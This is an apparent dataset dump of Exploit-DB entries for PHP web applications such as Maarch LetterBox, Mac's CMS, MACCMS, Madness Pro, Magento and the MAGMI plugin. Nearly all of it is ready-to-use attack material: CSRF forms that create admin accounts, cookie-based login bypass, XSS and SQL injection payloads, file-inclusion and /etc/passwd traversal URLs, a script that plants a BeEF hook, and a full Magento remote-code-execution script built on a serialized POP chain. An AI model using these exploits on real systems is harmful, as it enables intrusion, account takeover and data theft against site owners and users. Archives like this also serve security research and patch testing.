deardaniel/secdata-raw huggingface dataset:
Exploit-DB #35271
Description: Maarch LetterBox 2.8 - (Authentication Bypass) Insecure Cookies
Type: webapps
Platform: php
Date: 2014-11-17
Author: ZoRLu Bugrahan

Exploit:
# Title        : Maarch LetterBox 2.8 Insecure Cookie Handling Vulnerability (Login Bypass)
# Author       : ZoRLu / zorlu@milw00rm.com / submit@milw00rm.com
# Home         : http://milw00rm.com / its online
# Date         : 17.11.2014
# Demo		   : http://www.era.sn/courrier
# Download 	   : http://downloads.sourceforge.net/project/maarchletterbox/MaarchLetterBox2.8.zip
# Thks         : exploit-db.com, packetstormsecurity.com, securityfocus.com, sebug.net and others

you first go here:

http://www.target.com/path/index.php?page=welcome.php

you will go login.php, but if we change our cookie's with this exploit we will be login admin panel.

exploit:

javascript:document.cookie = "UserId=[username] ' or '; path=/";

or you edit your cookie's with "Cookies Manager"

name     = maarch
contents = UserId=username ' or '
host     = your target
path     = /script_path/

and dont change other options its keep default.
Exploit-DB #27598
Description: Mac's CMS 1.1.4 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2013-08-15
Author: Yashar shahinzadeh

Exploit:
###################################################################################################################################
# Exploit Title: Mac's CMS - Multiple vilnerabilities
# Date: 2013 14 August
# Exploit Author: Yashar shahinzadeh
# Special thanks to Mormoroth
# Credit goes for: http://y-shahinzadeh.ir & ha.cker.ir
# Vendor Homepage: http://macs-framework.sourceforge.net/
# Tested on: Linux & Windows, PHP 5.3.4
# Affected Version :  1.1.4
#
# Contacts: { http://Twitter.com/YShahinzadeh , http://y-shahinzadeh.ir , http://Twitter.com/Mormoroth , http://mormoroth.ir }
###################################################################################################################################

Summary:
========
1. CSRF - Adding/Editing administrator account
2. Cross site scripting
3. Local path disclosure

1. CSRF - Adding/Editing administrator account:
===============================================
Following exploits can be used against any site installed "Mac's CMS", after a successful attack a text containing "User: yashar was added successfully. Click Here to update your view" will be appeared. I only illustrate the adding user, editing is similar.

<html>
<body onload="submitForm()">
<form name="myForm" id="myForm"
                action="http://server/index.php/main/cms/saveUser" method="post">
                <input type="hidden" name="ajaxRequest" value="true">
                <input type="hidden" name="username" value="yashar">
                <input type="hidden" name="password" value="yashar">
				<input type="hidden" name="confirmPassword" value="yashar">
				<input type="hidden" name="emailAddress" value="y.shahinzadeh@gmail.com">
				<input type="hidden" name="roleId" value="1">
</form>
<script type='text/javascript'>document.myForm.submit();</script>
</html>

2. Cross site scripting:
========================
There are too many XSS (Reflected and stored) in this CMS, I will provide an live example:
http://server/libs/standalone/whois/example.php/%22%3E%3Cscript%3Ealert%28%27123%27%29%3C/script%3E

3. Local path disclosure:
=========================
There are some pages that are big leads to knowing local path, the path is valuable and can be used in Injection and... I would give an instance only:

http://server/index.php/main/cms/getComments/?controller=main&function=index&pageIndex[$test]=1&paginationKey=comments


/** Yasshar shahinzadeh **/
Exploit-DB #23687
Description: Macallan Mail Solution Macallan Mail Solution 2.8.4.6 (Build 260) - Web Interface Authentication Bypass
Type: webapps
Platform: php
Date: 2004-02-12
Author: Ziv Kamir

Exploit:
source: https://www.securityfocus.com/bid/9646/info

A vulnerability has been reported in Macallan Mail Solution that may permit remote attackers to bypass authentication for the web interface. This may be exploited by submitting a specially crafted HTTP GET request for the administration page of the web interface.

There are conflicting reports from the vendor that state that the attacker will not be able to perform any administrative actions after bypassing authentication.

This issue was reported in version 2.8.4.6(Build 260). Other versions may also be affected.

http://www.example.com//admin.html
Exploit-DB #44887
Description: MACCMS 10 - Cross-Site Request Forgery (Add User)
Type: webapps
Platform: php
Date: 2018-06-13
Author: bay0net

Exploit:
# Exploit Title: MACCMS_V10 CSRF vulnerability add admin account
# Date: 2018-06-11 
# Exploit Author: bay0net
# Vendor Homepage: https://www.cnblogs.com/v1vvwv/p/9168309.html
# Software Link: http://www.maccms.com/down.html
# Version: V10
# CVE : CVE-2018-12114


I found a CSRF vulnerability in maccms_v10,this vulnerability can be arbitrarily added to users.


The payload for attack is as follows.


<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://10.211.55.17/maccms10/admin.php/admin/admin/info.html" method="POST">
      <input type="hidden" name="admin_id" value="" />
      <input type="hidden" name="admin_name" value="test2" />
      <input type="hidden" name="admin_pwd" value="test2" />
      <input type="hidden" name="admin_status" value="1" />
      <input type="hidden" name="admin_auth[0]" value="index/welcome" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
Exploit-DB #22986
Description: Macromedia Dreamweaver MX 6.0 - PHP User Authentication Suite Cross-Site Scripting
Type: webapps
Platform: php
Date: 2003-08-04
Author: Lorenzo Hernandez Garcia-Hierro

Exploit:
source: https://www.securityfocus.com/bid/8339/info

It is possible to create an authentication or access control page, using Dreamweaver MX PHP Authentication Suite. This script will generate an error page that contains dynamic content when a user fails to authenticate correctly to the site.

A cross-site-scripting vulnerability has been reported to affect PHP authentication functions used in PHP access control pages created with the Macromedia Dreamweaver MX PHP Authentication Suite.

An attacker may exploit this condition to execute arbitrary HTML code in the browser of an unsuspecting user.

http://www.example.com/[PATH]/[LOGIN PAGE].php?[ACCESS DENIED VARIABLE]
="><script>alert('.::\/\|NSRG-18-7|/\/::.');</script>
Exploit-DB #14328
Description: Macs CMS 1.1.4 - Cross-Site Scripting / Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2010-07-11
Author: 10n1z3d

Exploit:
<!---
    Title: Macs CMS 1.1.4 Multiple Vulnerabilities (XSS/CSRF)
    Author: 10n1z3d <10n1z3d[at]w[dot]cn>
    Date: Sun 11 Jul 2010 11:53:35 AM EEST 
    Vendor: http://macs-framework.sourceforge.net/
    Download: http://sourceforge.net/projects/macs-framework/
--->

-=[ CSRF PoC 1 - Create Admin User ]=-
    
    <html>
        <head>
            <title>Macs CMS 1.1.4 Multiple Vulnerabilities (XSS/CSRF) - Create Admin User</title>
        </head>
        <body onload="document.csrf.submit();">
                <!--- Edit these --->
            <form name="csrf" action="http://[domain]/index.php/main/cms/saveUser" method="post">
                <input type="hidden" name="ajaxRequest" value="true" />
                <input type="hidden" name="username" value="root" />
                <input type="hidden" name="password" value="rootroot"/>
                <input type="hidden" name="confirmPassword" value="rootroot" />
                <input type="hidden" name="emailAddress" value="root@root.com" />
                <!--- Do not edit below --->
                <input type="hidden" name="roleId" value="1" />
            </form>
        </body>
    </html>
    
-=[ CSRF PoC 2 - Delete User ]=-
    <img src='http://[domain]/index.php/main/cms/deleteUser?userId=2' />
    
-=[ XSS PoC ]=-
    http://[domain]/index.php/footer/search?searchString='><script>alert('xss')</script>
    
<!---
    http://www.evilzone.org/
    irc.evilzone.org  (6697 / 9999)
--->
Exploit-DB #4031
Description: Madirish Webmail 2.0 - 'addressbook.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-06-04
Author: BoZKuRTSeRDaR

Exploit:
###########################################################

Madirish Webmail v2.0  Remote File Include Vulnerabilities

Author : BoZKuRTSeRDaR

Contact MSN:BoZKuRTSeRDaR@BoZKuRTSeRDaR.CoM

My Homepage :WwW.Turkmilliyetcileri.OrG

script Download : http://sourceforge.net/projects/madirishwebmail

###############################################################################

code:
require_once($GLOBALS['basedir']."lib/sql.php")

exploit:

http://www.example.com/[patch]lib/addressbook.php?GLOBALS[basedir]=shell.txt?

# milw0rm.com [2007-06-04]
Exploit-DB #33654
Description: Madness Pro 1.14 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2014-06-06
Author: bwall

Exploit:
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
# Exploit Title: Madness Pro <= 1.14 Persistent XSS
# Date: June 05, 2014
# Exploit Author: @botnet_hunter
# Version: 1.14
# Tested on: Apache2 - Ubuntu - MySQL
#              ▄▄▌        ▄▄▄▄·       ▄▄▄▄▄      • ▌ ▄ ·.  ▄· ▄▌
#              ██•  ▪     ▐█ ▀█▪▪     •██  ▪     ·██ ▐███▪▐█▪██▌
#              ██▪   ▄█▀▄ ▐█▀▀█▄ ▄█▀▄  ▐█.▪ ▄█▀▄ ▐█ ▌▐▌▐█·▐█▌▐█▪
#              ▐█▌▐▌▐█▌.▐▌██▄▪▐█▐█▌.▐▌ ▐█▌·▐█▌.▐▌██ ██▌▐█▌ ▐█▀·.
#              .▀▀▀  ▀█▄▀▪·▀▀▀▀  ▀█▄▀▪ ▀▀▀  ▀█▄▀▪▀▀  █▪▀▀▀  ▀ •
#   ▄▄· ▄• ▄▌▄▄▄  ▪   ▐ ▄  ▄▄ •     • ▌ ▄ ·.  ▄▄▄· ·▄▄▄▄   ▐ ▄ ▄▄▄ ..▄▄ · .▄▄ ·
#  ▐█ ▌▪█▪██▌▀▄ █·██ •█▌▐█▐█ ▀ ▪    ·██ ▐███▪▐█ ▀█ ██▪ ██ •█▌▐█▀▄.▀·▐█ ▀. ▐█ ▀.
#  ██ ▄▄█▌▐█▌▐▀▀▄ ▐█·▐█▐▐▌▄█ ▀█▄    ▐█ ▌▐▌▐█·▄█▀▀█ ▐█· ▐█▌▐█▐▐▌▐▀▀▪▄▄▀▀▀█▄▄▀▀▀█▄
#  ▐███▌▐█▄█▌▐█•█▌▐█▌██▐█▌▐█▄▪▐█    ██ ██▌▐█▌▐█ ▪▐▌██. ██ ██▐█▌▐█▄▄▌▐█▄▪▐█▐█▄▪▐█
#  ·▀▀▀  ▀▀▀ .▀  ▀▀▀▀▀▀ █▪·▀▀▀▀     ▀▀  █▪▀▀▀ ▀  ▀ ▀▀▀▀▀• ▀▀ █▪ ▀▀▀  ▀▀▀▀  ▀▀▀▀
#
# Unauthenticated persistent XSS in Madness Pro panel <= 1.14
# Discovered and developed by bwall @botnet_hunter
#
# References:
#	http://blog.cylance.com/a-study-in-bots-lobotomy
#	
import urllib

# Fill in URL that Madness Pro bot connects back to
panel_url = ""
# Fill in URL to your Javascript payload (the shorter the better)
beef_hook = ""


def install_beef_hook(beef_hook_url, panel_index_url):
    f = urllib.urlopen("{0}?uid=12345%3Cimg%20alt%3D\\')%3B%5C%22%3E%3Cscript%20src=\"{1}\">%3C%2Fscript%3E%3C%2Fa%3E"
                       "%3Ca%20href%3D%22%23%22%20onclick%3D%5C%22set_status(\\'12345".format(panel_index_url,
                                                                                              beef_hook_url))
    print f.read()

install_beef_hook(beef_hook, panel_url)
Exploit-DB #33655
Description: Madness Pro 1.14 - SQL Injection
Type: webapps
Platform: php
Date: 2014-06-06
Author: bwall

Exploit:
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
# Exploit Title: Madness Pro <= 1.14 SQL injection
# Date: June 05, 2014
# Exploit Author: @botnet_hunter
# Version: 1.14
# Tested on: Apache2 - Ubuntu - MySQL
#              ▄▄▌        ▄▄▄▄·       ▄▄▄▄▄      • ▌ ▄ ·.  ▄· ▄▌
#              ██•  ▪     ▐█ ▀█▪▪     •██  ▪     ·██ ▐███▪▐█▪██▌
#              ██▪   ▄█▀▄ ▐█▀▀█▄ ▄█▀▄  ▐█.▪ ▄█▀▄ ▐█ ▌▐▌▐█·▐█▌▐█▪
#              ▐█▌▐▌▐█▌.▐▌██▄▪▐█▐█▌.▐▌ ▐█▌·▐█▌.▐▌██ ██▌▐█▌ ▐█▀·.
#              .▀▀▀  ▀█▄▀▪·▀▀▀▀  ▀█▄▀▪ ▀▀▀  ▀█▄▀▪▀▀  █▪▀▀▀  ▀ •
#   ▄▄· ▄• ▄▌▄▄▄  ▪   ▐ ▄  ▄▄ •     • ▌ ▄ ·.  ▄▄▄· ·▄▄▄▄   ▐ ▄ ▄▄▄ ..▄▄ · .▄▄ ·
#  ▐█ ▌▪█▪██▌▀▄ █·██ •█▌▐█▐█ ▀ ▪    ·██ ▐███▪▐█ ▀█ ██▪ ██ •█▌▐█▀▄.▀·▐█ ▀. ▐█ ▀.
#  ██ ▄▄█▌▐█▌▐▀▀▄ ▐█·▐█▐▐▌▄█ ▀█▄    ▐█ ▌▐▌▐█·▄█▀▀█ ▐█· ▐█▌▐█▐▐▌▐▀▀▪▄▄▀▀▀█▄▄▀▀▀█▄
#  ▐███▌▐█▄█▌▐█•█▌▐█▌██▐█▌▐█▄▪▐█    ██ ██▌▐█▌▐█ ▪▐▌██. ██ ██▐█▌▐█▄▄▌▐█▄▪▐█▐█▄▪▐█
#  ·▀▀▀  ▀▀▀ .▀  ▀▀▀▀▀▀ █▪·▀▀▀▀     ▀▀  █▪▀▀▀ ▀  ▀ ▀▀▀▀▀• ▀▀ █▪ ▀▀▀  ▀▀▀▀  ▀▀▀▀
#
# Unauthenticated SQL injection in Madness Pro panel <= 1.14
# Proof of Concept retrieves a count of the bots, although it can be utilized for far more
# Discovered and developed by bwall @botnet_hunter
#
# References:
#	http://blog.cylance.com/a-study-in-bots-lobotomy
#	
import urllib

# Fill in URL that Madness Pro bot connects back to
panel_url = ""


def run_sqli_proof_of_concept(panel_index_url):
    f = urllib.urlopen("{0}?uid='%20OR%201=2%20UNION%20ALL%20SELECT%201,1,1,CONCAT('bot-count:',COUNT(*))%20FROM%20bots"
                       "%20--%20--".format(panel_index_url))
    print f.read()

run_sqli_proof_of_concept(panel_url)
Exploit-DB #15775
Description: Mafia Game Script - SQL Injection
Type: webapps
Platform: php
Date: 2010-12-18
Author: DeadLy DeMon

Exploit:
+Name : WebScript Mafia Game Script (profile.php) <<= SQL injection
Vulnerability
+Autor : DeadLy DeMon
+Date : 18.12.2010
+Script : WebScript Mafia Game Script
+Site : http://webscripti.com/incele.php?incele=4
+Price : 250 TL
+Language : PHP
+Tests : Windows XP SP 3 and Backtrack4 any other OS
+Discovered by DeadLy DeMon
+ Cyber - Warrior TIM =>> www.cyber-warrior.org
+Greetz to All System-Hacker, BlackApple , F0RTYS3V3N and All KinqSqlZCrew
Members
---------------------------------------------------------------------------------------

Yoksulluğu anladıkta sevmek neden kıt kanaat? Yoksa yüreklerde mi yoksul
kimler biçmiş Aşk'a fiyat?

----------------------------------------------------------------------------------------

Bug ;
target/path/profil.php?id=[Sql Inj.]

---------------------------------------------------------------------------------------
Exploit-DB #28370
Description: Mafia Moblog 6 - 'Big.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-10
Author: sh3ll

Exploit:
source: https://www.securityfocus.com/bid/19458/info

Mafia Moblog is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.

Version 6 is vulnerable to this issue; other versions may also be affected.

Update: After further analysis, this BID is being retired. The 'pathtotemplate' variable is defined in the 'template.php' file prior to its use in the affected script.

http://www.example.com/[Mafia Moblog]/big.php?pathtotemplate=[Evil Script]
Exploit-DB #35123
Description: Mafya Oyun Scrpti - 'profil.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-12-20
Author: DeadLy DeMon

Exploit:
source: https://www.securityfocus.com/bid/45501/info

Mafya Oyun Scrpti is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. 

http://www.example.com/profil.php?id=[SQL]
Exploit-DB #3901
Description: maGAZIn 2.0 - 'PHPThumb.php?src' Remote File Disclosure
Type: webapps
Platform: php
Date: 2007-05-11
Author: Dj7xpl

Exploit:
        \\\|///
      \\  - -  //
       (  @ @ )
----oOOo--(_)-oOOo---------------------------------------------------

[ Y! Underground Group ]
[   Dj7xpl@yahoo.com   ]
[    Dj7xpl.2600.ir    ]

----ooooO-----Ooooo--------------------------------------------------
    (   )     (   )
     \ (       ) /
      \_)     (_/

---------------------------------------------------------------------

[!] Portal   :   maGAZIn v2.0
[!] Download :   http://www.pinkcrow.net/Scripts/gallery.php
[!] Type     :   Remote File Disclosure Vulnerability

---------------------------------------------------------------------

---------------------------------------------------------------------

Vuln Code :  Line (152 - 157)

[Code]
if ($fp = @fopen($_SERVER['DOCUMENT_ROOT'].$_REQUEST['src'], 'rb')) {
		$OriginalImageData = fread($fp, filesize($_SERVER['DOCUMENT_ROOT'].$_REQUEST['src']));
		fclose($fp);
	} else {
		ErrorImage('cannot open '.$_SERVER['DOCUMENT_ROOT'].$_REQUEST['src'], 400, 50);
	}
[/Code]

---------------------------------------------------------------------

---------------------------------------------------------------------

Bug :

http://[Target]/[Path]/phpThumb.php?src=[Local File]

Example :

http://Target.ir/Gallery/phpThumb.php?src=../../../etc/passwd

---------------------------------------------------------------------

# milw0rm.com [2007-05-11]
Exploit-DB #32808
Description: Magento 1.2 - '/app/code/core/Mage/Admin/Model/Session.php?login['Username']' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-02-24
Author: Loukas Kalenderidis

Exploit:
source: https://www.securityfocus.com/bid/33872/info

Magento is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.

Attacker-supplied HTML and script code would execute in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials.

Magento 1.2.0 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php/admin/
Username: "><script>alert('xss')</script>
Exploit-DB #32809
Description: Magento 1.2 - '/app/code/core/Mage/Adminhtml/controllers/IndexController.php?email' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-02-24
Author: Loukas Kalenderidis

Exploit:
source: https://www.securityfocus.com/bid/33872/info
 
Magento is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
 
Attacker-supplied HTML and script code would execute in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials.
 
Magento 1.2.0 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php/admin/index/forgotpassword/
Email address: "><script>alert('xss')</script>
Exploit-DB #32810
Description: Magento 1.2 - 'downloader/index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-02-24
Author: Loukas Kalenderidis

Exploit:
source: https://www.securityfocus.com/bid/33872/info
  
Magento is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
  
Attacker-supplied HTML and script code would execute in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials.
  
Magento 1.2.0 is vulnerable; other versions may also be affected. 

http://www.example.com/downloader/?return=%22%3Cscript%3Ealert('xss')%3C/script%3E
Exploit-DB #37811
Description: Magento CE < 1.9.0.1 - (Authenticated) Remote Code Execution
Type: webapps
Platform: php
Date: 2015-08-18
Author: Ebrietas0

Exploit:
#!/usr/bin/python
# Exploit Title: Magento CE < 1.9.0.1 Post Auth RCE 
# Google Dork: "Powered by Magento"
# Date: 08/18/2015
# Exploit Author: @Ebrietas0 || http://ebrietas0.blogspot.com
# Vendor Homepage: http://magento.com/
# Software Link: https://www.magentocommerce.com/download
# Version: 1.9.0.1 and below
# Tested on: Ubuntu 15
# CVE : none

from hashlib import md5
import sys
import re
import base64
import mechanize


def usage():
    print "Usage: python %s <target> <argument>\nExample: python %s http://localhost \"uname -a\""
    sys.exit()


if len(sys.argv) != 3:
    usage()

# Command-line args
target = sys.argv[1]
arg = sys.argv[2]

# Config.
username = ''
password = ''
php_function = 'system'  # Note: we can only pass 1 argument to the function
install_date = 'Sat, 15 Nov 2014 20:27:57 +0000'  # This needs to be the exact date from /app/etc/local.xml

# POP chain to pivot into call_user_exec
payload = 'O:8:\"Zend_Log\":1:{s:11:\"\00*\00_writers\";a:2:{i:0;O:20:\"Zend_Log_Writer_Mail\":4:{s:16:' \
          '\"\00*\00_eventsToMail\";a:3:{i:0;s:11:\"EXTERMINATE\";i:1;s:12:\"EXTERMINATE!\";i:2;s:15:\"' \
          'EXTERMINATE!!!!\";}s:22:\"\00*\00_subjectPrependText\";N;s:10:\"\00*\00_layout\";O:23:\"'     \
          'Zend_Config_Writer_Yaml\":3:{s:15:\"\00*\00_yamlEncoder\";s:%d:\"%s\";s:17:\"\00*\00'     \
          '_loadedSection\";N;s:10:\"\00*\00_config\";O:13:\"Varien_Object\":1:{s:8:\"\00*\00_data\"' \
          ';s:%d:\"%s\";}}s:8:\"\00*\00_mail\";O:9:\"Zend_Mail\":0:{}}i:1;i:2;}}' % (len(php_function), php_function,
                                                                                     len(arg), arg)
# Setup the mechanize browser and options
br = mechanize.Browser()
#br.set_proxies({"http": "localhost:8080"})
br.set_handle_robots(False)

request = br.open(target)

br.select_form(nr=0)
br.form.new_control('text', 'login[username]', {'value': username})  # Had to manually add username control.
br.form.fixup()
br['login[username]'] = username
br['login[password]'] = password

br.method = "POST"
request = br.submit()
content = request.read()

url = re.search("ajaxBlockUrl = \'(.*)\'", content)
url = url.group(1)
key = re.search("var FORM_KEY = '(.*)'", content)
key = key.group(1)

request = br.open(url + 'block/tab_orders/period/7d/?isAjax=true', data='isAjax=false&form_key=' + key)
tunnel = re.search("src=\"(.*)\?ga=", request.read())
tunnel = tunnel.group(1)

payload = base64.b64encode(payload)
gh = md5(payload + install_date).hexdigest()

exploit = tunnel + '?ga=' + payload + '&h=' + gh

try:
    request = br.open(exploit)
except (mechanize.HTTPError, mechanize.URLError) as e:
    print e.read()
Exploit-DB #50896
Description: Magento eCommerce CE v2.3.5-p2 - Blind SQLi
Type: webapps
Platform: php
Date: 2022-05-11
Author: Aydin Naserifard

Exploit:
Exploit Title: Magento eCommerce CE v2.3.5-p2 - Blind SQLi
# Date: 2021-4-21
# Exploit Author: Aydin Naserifard
# Vendor Homepage: https://www.adobe.com/
# Software Link:  https://github.com/magento/magento2/releases/tag/2.3.5-p2
# Version: [2.3.5-p2]
# Tested on: [2.3.5-p2]

POC:

1)PUT
/rest/default/V1/carts/mine/coupons/aydin'+%2f+if(ascii(substring(database(),3,1))=100,sleep(5),0)%23

2)POST /cargo/index/validateqty
[quote_id parameter]
quote_id=100499%2fif(substring(database(),1,1))="97",sleep(5),1000)+and+`parent_item_id`+IS+NULL+GROUP+BY+`sku`%23
Exploit-DB #35996
Description: Magento Server MAGMI Plugin - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2015-02-05
Author: SECUPENT

Exploit:
Exploit Title:  Magento Server MAGMI Plugin Local File Inclusion And Cross Site Scripting 
Software Link: http://sourceforge.net/projects/magmi/
Author: SECUPENT 
Website:www.secupent.com
Email: research{at}secupent{dot}com
Date: 5-2-2015



Exploit(Local file inclusion) :

 http://{Server}/magmi/web/ajax_pluginconf.php?file=../../../../../../../../../../../etc/passwd&plugintype=utilities&pluginclass=CustomSQLUtility
 
 
 Screenshot: http://secupent.com/exploit/images/magmilfi.jpg
 
 
Exploit(Cross Site Scripting): 

 1. http://{Server}/magmi/web/magmi.php?configstep=2&profile=%3C/script%3E%3Cscript%3Ealert%28%27XSS%27%29;%3C/script%3E 
 
 2. http://{Server}/magmi/web/magmi_import_run.php?%3C/script%3E%3Cscript%3Ealert%28%27XSS%27%29;%3C/script%3E
 

 Screenshot 1:http://secupent.com/exploit/images/magmixss1.jpg
 Screenshot 2: http://secupent.com/exploit/images/magmixss2.jpg 
 
 
 Thanks for read :) 
 Special Thanks: vulnerability.io, pentester.io, osvdb.org, exploit-db.com, 1337day.com, cxsecurity.com, packetstormsecurity.com and all other exploit archives, hackers and security researchers.